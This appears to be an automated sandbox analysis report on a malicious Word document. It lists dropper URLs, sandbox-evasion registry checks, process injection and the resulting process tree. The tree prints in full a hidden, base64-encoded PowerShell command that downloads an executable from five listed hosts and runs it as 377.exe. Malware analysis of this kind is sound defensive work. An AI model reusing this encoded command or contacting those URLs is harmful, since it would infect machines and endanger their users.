Analysis
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max time kernel
26s -
resource
win10v191014 -
submitted
09-12-2019 16:53
General
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Target
23419c0a7cc778b60899d25977c95f7291915539f5f9bb85c5ce3bfe11c77e9b.doc
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Sample
191209-wljpd8pq9j
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SHA256
23419c0a7cc778b60899d25977c95f7291915539f5f9bb85c5ce3bfe11c77e9b
Score
8/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://www.aitb66.com/wp-admin/wdm12182/
exe.dropper
http://zisoft.zinad.net/wp-content/7flgzi080/
exe.dropper
http://ausflugemarrakesh.com/cgi-bin/512/
exe.dropper
http://axis-gps.com/pzdjz/hgpu56/
exe.dropper
https://xploremotions.com/rtrx/c656/
Signatures
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
SppExtComObj.exePowershell.exedescription pid process target process PID 2916 wrote to memory of 4376 2916 SppExtComObj.exe SLUI.exe PID 4440 wrote to memory of 4704 4440 Powershell.exe 377.exe -
Executes dropped EXE 1 IoCs
Processes:
377.exepid process 4704 377.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4936 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4440 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4440 Powershell.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4936 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXE377.exepid process 4936 WINWORD.EXE 4704 377.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\23419c0a7cc778b60899d25977c95f7291915539f5f9bb85c5ce3bfe11c77e9b.doc" /o ""1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABSAGIAcgBtAHcAbABxAHkAaAByAD0AJwBSAHEAZAB6AHEAcgBtAHQAcwB4ACcAOwAkAE8AZABrAHUAZwBtAHIAagBnAGIAIAA9ACAAJwAzADcANwAnADsAJABOAHgAbABrAGMAZQBiAGYAYgBhAHoAPQAnAEQAbAByAGgAYwB3AHQAYQBjAHAAJwA7ACQARAB1AGsAcgBhAHkAeQBhAHgAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATwBkAGsAdQBnAG0AcgBqAGcAYgArACcALgBlAHgAZQAnADsAJABUAHAAcAB2AHEAdQByAHAAegBqAG8AZQA9ACcATgBpAGYAcABwAGQAcgBlAG8AJwA7ACQAUQBwAHkAeQBsAHEAaAB6AHoAdgBrAD0AJgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAGMAbABpAGUATgB0ADsAJABPAHoAdQBkAG4AZQBjAGkAZQB5AG8APQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGkAdABiADYANgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBkAG0AMQAyADEAOAAyAC8AKgBoAHQAdABwADoALwAvAHoAaQBzAG8AZgB0AC4AegBpAG4AYQBkAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANwBmAGwAZwB6AGkAMAA4ADAALwAqAGgAdAB0AHAAOgAvAC8AYQB1AHMAZgBsAHUAZwBlAG0AYQByAHIAYQBrAGUAcwBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANQAxADIALwAqAGgAdAB0AHAAOgAvAC8AYQB4AGkAcwAtAGcAcABzAC4AYwBvAG0ALwBwAHoAZABqAHoALwBoAGcAcAB1ADUANgAvACoAaAB0AHQAcABzADoALwAvAHgAcABsAG8AcgBlAG0AbwB0AGkAbwBuAHMALgBjAG8AbQAvAHIAdAByAHgALwBjADYANQA2AC8AJwAuACIAUwBgAHAATABpAHQAIgAoACcAKgAnACkAOwAkAEsAdQBuAGkAbgBrAGgAYwA9ACcAUABtAGsAbABmAGgAcwBtAHQAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgB5AGgAeQBlAHgAaABkAHgAYgAgAGkAbgAgACQATwB6AHUAZABuAGUAYwBpAGUAeQBvACkAewB0AHIAeQB7ACQAUQBwAHkAeQBsAHEAaAB6AHoAdgBrAC4AIgBkAE8AdwBuAEwAYABPAGAAQQBkAEYAaQBMAGUAIgAoACQAQgB5AGgAeQBlAHgAaABkAHgAYgAsACAAJABEAHUAawByAGEAeQB5AGEAeABoACkAOwAkAFgAagBsAHYAbQBhAGYAYQBwAGIAcABzAD0AJwBFAGcAbQB6AGgAYwB3AHcAeAB2AHUAZQBqACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQARAB1AGsAcgBhAHkAeQBhAHgAaAApAC4AIgBsAGUATgBgAGcAdABoACIAIAAtAGcAZQAgADMANgA5ADEAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABBAFIAVAAiACgAJABEAHUAawByAGEAeQB5AGEAeABoACkAOwAkAFUAZABwAHIAeABkAHgAcwB4AGgAdwBzAD0AJwBYAHIAZgBnAGQAbABhAHUAcABrAHgAJwA7AGIAcgBlAGEAawA7ACQAUABhAGkAcQBqAGEAeABnAGwAYwA9ACcAQQBqAHUAYgBhAGYAZABjACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAegBkAHMAbwByAHoAbwBmAHQAdwBzAGkAPQAnAFEAbgByAHcAaABsAG8AcQBkAGMAYgAnAA==1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Admin\377.exe"C:\Users\Admin\377.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx